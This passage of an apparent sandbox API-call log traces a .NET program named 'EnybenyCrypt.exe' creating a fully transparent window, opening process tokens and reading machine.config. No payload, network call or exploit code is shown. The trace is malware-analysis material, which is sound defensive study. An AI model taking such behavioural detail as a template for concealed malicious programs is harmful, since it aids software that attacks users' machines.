Msg=0x83, wParam=0x0, lParam=0x39e7d0) returned 0x0 [0044.410] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x1, wParam=0x0, lParam=0x39e7e4) returned 0x0 [0044.410] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e51c | out: lpRect=0x39e51c) returned 1 [0044.410] GetWindowRect (in: hWnd=0x301b0, lpRect=0x39e51c | out: lpRect=0x39e51c) returned 1 [0044.410] SetWindowTextW (hWnd=0x301b0, lpString="Form1") returned 1 [0044.410] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xc, wParam=0x0, lParam=0x26af3b8) returned 0x1 [0044.411] SetLayeredWindowAttributes (hwnd=0x301b0, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0044.411] GetStartupInfoW (in: lpStartupInfo=0x26af688 | out: lpStartupInfo=0x26af688*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0044.411] GetParent (hWnd=0x301b0) returned 0x0 [0044.411] GetStockObject (i=5) returned 0x1900015 [0044.412] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0044.412] CoTaskMemAlloc (cb=0x5c) returned 0x549bd8 [0044.412] RegisterClassW (lpWndClass=0x39ec30) returned 0xc135 [0044.412] CoTaskMemFree (pv=0x549bd8) [0044.412] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0044.412] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1230000, lpParam=0x0) returned 0x301aa [0044.413] SetWindowLongW (hWnd=0x301aa, nIndex=-4, dwNewLong=2005411293) returned 79890726 [0044.413] GetWindowLongW (hWnd=0x301aa, nIndex=-4) returned 2005411293 [0044.413] SetWindowLongW (hWnd=0x301aa, nIndex=-4, dwNewLong=79890766) returned 2005411293 [0044.413] GetWindowLongW (hWnd=0x301aa, nIndex=-4) returned 79890766 [0044.413] GetWindowLongW (hWnd=0x301aa, nIndex=-16) returned 79691776 [0044.414] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x24, wParam=0x0, lParam=0x39e818) returned 0x0 [0044.414] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x81, wParam=0x0, lParam=0x39e80c) returned 0x1 [0044.414] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x83, wParam=0x0, lParam=0x39e7f8) returned 0x0 [0044.415] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x1, wParam=0x0, lParam=0x39e80c) returned 0x0 [0044.415] SetWindowLongW (hWnd=0x301b0, nIndex=-8, dwNewLong=197034) returned 0 [0044.415] SendMessageW (hWnd=0x301b0, Msg=0x80, wParam=0x0, lParam=0xa01b1) returned 0x0 [0044.415] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x80, wParam=0x0, lParam=0xa01b1) returned 0x0 [0044.416] SendMessageW (hWnd=0x301b0, Msg=0x80, wParam=0x1, lParam=0xf0063) returned 0x0 [0044.416] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x80, wParam=0x1, lParam=0xf0063) returned 0x0 [0044.416] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xa01b1 [0044.416] GetSystemMenu (hWnd=0x301b0, bRevert=0) returned 0x7016f [0044.417] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39ed60 | out: lpwndpl=0x39ed60) returned 1 [0044.417] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0044.417] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0044.417] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0044.417] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0044.417] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0044.417] GetClientRect (in: hWnd=0x301b0, lpRect=0x39eda4 | out: lpRect=0x39eda4) returned 1 [0044.417] GetClientRect (in: hWnd=0x301b0, lpRect=0x39ed04 | out: lpRect=0x39ed04) returned 1 [0044.417] GetWindowRect (in: hWnd=0x301b0, lpRect=0x39ed04 | out: lpRect=0x39ed04) returned 1 [0044.417] SetWindowPos (hWnd=0x301b0, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0044.417] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x46, wParam=0x0, lParam=0x39ec6c) returned 0x0 [0044.419] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0044.420] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39ea34 | out: lpwndpl=0x39ea34) returned 1 [0044.420] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e9e0 | out: lpRect=0x39e9e0) returned 1 [0044.420] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0044.420] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.420] GetSystemMetrics (nIndex=42) returned 0 [0044.420] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39e8ac, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.420] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39e8ac) returned 0x5 [0044.420] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e8e8 | out: lpRect=0x39e8e8) returned 1 [0044.421] GetSysColor (nIndex=10) returned 0xb4b4b4 [0044.421] GetSysColor (nIndex=2) returned 0xd1b499 [0044.422] GetSysColor (nIndex=9) returned 0x0 [0044.422] GetSysColor (nIndex=12) returned 0xababab [0044.422] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.422] GetSysColor (nIndex=20) returned 0xffffff [0044.422] GetSysColor (nIndex=16) returned 0xa0a0a0 [0044.422] GetSysColor (nIndex=15) returned 0xf0f0f0 [0044.422] GetSysColor (nIndex=16) returned 0xa0a0a0 [0044.422] GetSysColor (nIndex=21) returned 0x696969 [0044.422] GetSysColor (nIndex=22) returned 0xe3e3e3 [0044.422] GetSysColor (nIndex=20) returned 0xffffff [0044.422] GetSysColor (nIndex=18) returned 0x0 [0044.422] GetSysColor (nIndex=1) returned 0x0 [0044.422] GetSysColor (nIndex=27) returned 0xead1b9 [0044.422] GetSysColor (nIndex=28) returned 0xf2e4d7 [0044.422] GetSysColor (nIndex=17) returned 0x6d6d6d [0044.422] GetSysColor (nIndex=13) returned 0xff9933 [0044.423] GetSysColor (nIndex=14) returned 0xffffff [0044.423] GetSysColor (nIndex=26) returned 0xcc6600 [0044.423] GetSysColor (nIndex=11) returned 0xfcf7f4 [0044.423] GetSysColor (nIndex=3) returned 0xdbcdbf [0044.423] GetSysColor (nIndex=19) returned 0x544e43 [0044.423] GetSysColor (nIndex=24) returned 0xe1ffff [0044.423] GetSysColor (nIndex=23) returned 0x0 [0044.423] GetSysColor (nIndex=4) returned 0xf0f0f0 [0044.423] GetSysColor (nIndex=30) returned 0xf0f0f0 [0044.423] GetSysColor (nIndex=29) returned 0xff9933 [0044.423] GetSysColor (nIndex=7) returned 0x0 [0044.423] GetSysColor (nIndex=0) returned 0xc8c8c8 [0044.423] GetSysColor (nIndex=5) returned 0xffffff [0044.423] GetSysColor (nIndex=6) returned 0x646464 [0044.423] GetSysColor (nIndex=8) returned 0x0 [0044.424] GetSystemMetrics (nIndex=80) returned 1 [0044.427] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x4c30976, dwData=0x0) returned 1 [0044.427] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x39e550 | out: lpmi=0x39e550) returned 1 [0044.428] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x201081f [0044.428] GetDeviceCaps (hdc=0x201081f, index=12) returned 32 [0044.428] GetDeviceCaps (hdc=0x201081f, index=14) returned 1 [0044.428] DeleteDC (hdc=0x201081f) returned 1 [0044.429] GetCurrentObject (hdc=0x130107f0, type=0x1) returned 0x1b00017 [0044.429] GetCurrentObject (hdc=0x130107f0, type=0x2) returned 0x1900010 [0044.429] GetCurrentObject (hdc=0x130107f0, type=0x7) returned 0xe050715 [0044.429] GetCurrentObject (hdc=0x130107f0, type=0x6) returned 0x18a002e [0044.429] SaveDC (hdc=0x130107f0) returned 1 [0044.430] GetNearestColor (hdc=0x130107f0, color=0xf0f0f0) returned 0xf0f0f0 [0044.430] CreateSolidBrush (color=0xf0f0f0) returned 0x11100820 [0044.431] FillRect (hDC=0x130107f0, lprc=0x39e788, hbr=0x11100820) returned 1 [0044.432] DeleteObject (ho=0x11100820) returned 1 [0044.433] RestoreDC (hdc=0x130107f0, nSavedDC=-1) returned 1 [0044.433] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39ea1c | out: lpwndpl=0x39ea1c) returned 1 [0044.434] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x47, wParam=0x0, lParam=0x39ec6c) returned 0x0 [0044.434] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e9cc | out: lpRect=0x39e9cc) returned 1 [0044.434] GetWindowRect (in: hWnd=0x301b0, lpRect=0x39e9cc | out: lpRect=0x39e9cc) returned 1 [0044.434] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x83, wParam=0x1, lParam=0x39e850) returned 0x0 [0044.435] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0044.437] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39e640 | out: lpwndpl=0x39e640) returned 1 [0044.437] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e5ec | out: lpRect=0x39e5ec) returned 1 [0044.437] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0044.437] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.437] GetSystemMetrics (nIndex=42) returned 0 [0044.437] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39e4b8, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.437] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39e4b8) returned 0x5 [0044.437] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e4f4 | out: lpRect=0x39e4f4) returned 1 [0044.437] GetCurrentObject (hdc=0x30107f5, type=0x1) returned 0x1b00017 [0044.437] GetCurrentObject (hdc=0x30107f5, type=0x2) returned 0x1900010 [0044.437] GetCurrentObject (hdc=0x30107f5, type=0x7) returned 0xe050715 [0044.437] GetCurrentObject (hdc=0x30107f5, type=0x6) returned 0x18a002e [0044.437] SaveDC (hdc=0x30107f5) returned 1 [0044.437] GetNearestColor (hdc=0x30107f5, color=0xf0f0f0) returned 0xf0f0f0 [0044.437] CreateSolidBrush (color=0xf0f0f0) returned 0x12100820 [0044.437] FillRect (hDC=0x30107f5, lprc=0x39e394, hbr=0x12100820) returned 1 [0044.437] DeleteObject (ho=0x12100820) returned 1 [0044.438] RestoreDC (hdc=0x30107f5, nSavedDC=-1) returned 1 [0044.438] SetWindowLongW (hWnd=0x301b0, nIndex=-8, dwNewLong=197034) returned 197034 [0044.438] SendMessageW (hWnd=0x301aa, Msg=0x80, wParam=0x1, lParam=0xf0063) returned 0x0 [0044.438] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x80, wParam=0x1, lParam=0xf0063) returned 0x0 [0044.439] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0xd, wParam=0x104, lParam=0x62c610) returned 0x0 [0044.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0xd, wParam=0x104, lParam=0x62c628) returned 0x0 [0044.440] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x74400000 [0044.440] GetWindowLongW (hWnd=0x301b0, nIndex=-16) returned 382664704 [0044.440] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0044.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.440] GetSystemMetrics (nIndex=42) returned 0 [0044.440] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39eca8, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39eca8) returned 0x5 [0044.440] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0044.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.440] GetSystemMetrics (nIndex=42) returned 0 [0044.440] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39eca8, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.440] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39eca8) returned 0x5 [0044.440] GetWindowLongW (hWnd=0x301b0, nIndex=-16) returned 382664704 [0044.440] GetWindowLongW (hWnd=0x301b0, nIndex=-20) returned 590080 [0044.440] SetWindowLongW (hWnd=0x301b0, nIndex=-16, dwNewLong=315555840) returned 382664704 [0044.441] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x7c, wParam=0xfffffff0, lParam=0x39ecf8) returned 0x0 [0044.441] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x7d, wParam=0xfffffff0, lParam=0x39ecf8) returned 0x0 [0044.441] SetWindowLongW (hWnd=0x301b0, nIndex=-20, dwNewLong=589824) returned 590080 [0044.441] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x7c, wParam=0xffffffec, lParam=0x39ecf8) returned 0x0 [0044.441] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x7d, wParam=0xffffffec, lParam=0x39ecf8) returned 0x0 [0044.442] SetWindowPos (hWnd=0x301b0, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0044.442] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x46, wParam=0x0, lParam=0x39ed18) returned 0x0 [0044.442] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x83, wParam=0x1, lParam=0x39ecf0) returned 0x0 [0044.443] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0044.444] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39eae0 | out: lpwndpl=0x39eae0) returned 1 [0044.444] GetClientRect (in: hWnd=0x301b0, lpRect=0x39ea8c | out: lpRect=0x39ea8c) returned 1 [0044.445] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0044.445] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0044.445] GetSystemMetrics (nIndex=42) returned 0 [0044.445] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39e958, nMaxCount=6 | out: lpString="Form1") returned 5 [0044.445] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39e958) returned 0x5 [0044.445] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e994 | out: lpRect=0x39e994) returned 1 [0044.445] GetCurrentObject (hdc=0x1010804, type=0x1) returned 0x1b00017 [0044.445] GetCurrentObject (hdc=0x1010804, type=0x2) returned 0x1900010 [0044.445] GetCurrentObject (hdc=0x1010804, type=0x7) returned 0xe050715 [0044.445] GetCurrentObject (hdc=0x1010804, type=0x6) returned 0x18a002e [0044.445] SaveDC (hdc=0x1010804) returned 1 [0044.445] GetNearestColor (hdc=0x1010804, color=0xf0f0f0) returned 0xf0f0f0 [0044.445] CreateSolidBrush (color=0xf0f0f0) returned 0x13100820 [0044.445] FillRect (hDC=0x1010804, lprc=0x39e834, hbr=0x13100820) returned 1 [0044.445] DeleteObject (ho=0x13100820) returned 1 [0044.446] RestoreDC (hdc=0x1010804, nSavedDC=-1) returned 1 [0044.447] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39eac8 | out: lpwndpl=0x39eac8) returned 1 [0044.447] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x47, wParam=0x0, lParam=0x39ed18) returned 0x0 [0044.447] GetClientRect (in: hWnd=0x301b0, lpRect=0x39ea78 | out: lpRect=0x39ea78) returned 1 [0044.447] GetWindowRect (in: hWnd=0x301b0, lpRect=0x39ea78 | out: lpRect=0x39ea78) returned 1 [0044.447] RedrawWindow (hWnd=0x301b0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0044.447] GetSystemMenu (hWnd=0x301b0, bRevert=0) returned 0x7016f [0044.447] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39ed50 | out: lpwndpl=0x39ed50) returned 1 [0044.447] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0044.447] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0044.447] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0044.447] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0044.447] EnableMenuItem (hMenu=0x7016f, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0044.448] SetWindowLongW (hWnd=0x50122, nIndex=-8, dwNewLong=197040) returned 327968 [0045.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", nBufferLength=0x105, lpBuffer=0x39e7ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", lpFilePart=0x0) returned 0x3d [0045.001] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", lpFilePart=0x0) returned 0x3d [0045.214] GetCurrentProcess () returned 0xffffffff [0045.215] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39eb00 | out: TokenHandle=0x39eb00*=0x23c) returned 1 [0045.218] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x39e5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0045.221] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x39eb00 | out: lpFileInformation=0x39eb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0045.222] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x39e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0045.222] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x39eb00 | out: lpFileInformation=0x39eb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0cc4300, ftCreationTime.dwHighDateTime=0x1cd5cf4, ftLastAccessTime.dwLowDateTime=0xcf7ee640, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc0cc4300, ftLastWriteTime.dwHighDateTime=0x1cd5cf4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0045.223] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x39e538, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0045.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ea2c) returned 1 [0045.223] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x240 [0045.223] GetFileType (hFile=0x240) returned 0x1 [0045.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ea28) returned 1 [0045.223] GetFileType (hFile=0x240) returned 0x1 [0045.260] GetFileSize (in: hFile=0x240, lpFileSizeHigh=0x39eaf4 | out: lpFileSizeHigh=0x39eaf4*=0x0) returned 0x8c8f [0045.260] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eab0, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39eab0*=0x1000, lpOverlapped=0x0) returned 1 [0045.310] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e94c, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e94c*=0x1000, lpOverlapped=0x0) returned 1 [0045.333] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e800, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e800*=0x1000, lpOverlapped=0x0) returned 1 [0045.333] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e800, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e800*=0x1000, lpOverlapped=0x0) returned 1 [0045.334] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e800, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e800*=0x1000, lpOverlapped=0x0) returned 1 [0045.334] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e738, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e738*=0x1000, lpOverlapped=0x0) returned 1 [0045.340] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e8b4, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e8b4*=0x1000, lpOverlapped=0x0) returned 1 [0045.342] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e7c8, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e7c8*=0x1000, lpOverlapped=0x0) returned 1 [0045.342] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e7c8, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e7c8*=0xc8f, lpOverlapped=0x0) returned 1 [0045.342] ReadFile (in: hFile=0x240, lpBuffer=0x26b58e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39e888, lpOverlapped=0x0 | out: lpBuffer=0x26b58e4*, lpNumberOfBytesRead=0x39e888*=0x0, lpOverlapped=0x0) returned 1 [0045.342] CloseHandle (hObject=0x240) returned 1 [0045.344] GetCurrentProcess () returned 0xffffffff [0045.344] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ec34 | out: TokenHandle=0x39ec34*=0x240) returned 1 [0045.344] GetCurrentProcess () returned 0xffffffff [0045.344] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ec34 | out: TokenHandle=0x39ec34*=0x244) returned 1 [0045.345] GetCurrentProcess () returned 0xffffffff [0045.345] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39eb00 | out: TokenHandle=0x39eb00*=0x248) returned 1 [0045.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enybenycrypt.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x39eb00 | out: lpFileInformation=0x39eb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0045.345] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", nBufferLength=0x105, lpBuffer=0x39e5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config", lpFilePart=0x0) returned 0x3d [0045.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe.config" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\enybenycrypt.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x39eb00 | out: lpFileInformation=0x39eb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0045.346] GetCurrentProcess () returned 0xffffffff [0045.346] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ec34 | out: TokenHandle=0x39ec34*=0x24c) returned 1 [0045.346] GetCurrentProcess () returned 0xffffffff [0045.347] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ec34 | out: TokenHandle=0x39ec34*=0x250) returned 1 [0045.363] GetCurrentProcess () returned 0xffffffff [0045.363] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9fc | out: TokenHandle=0x39e9fc*=0x254) returned 1 [0045.385] GetCurrentProcess () returned 0xffffffff [0045.385] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ea0c | out: TokenHandle=0x39ea0c*=0x258) returned 1 [0045.407] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x25c 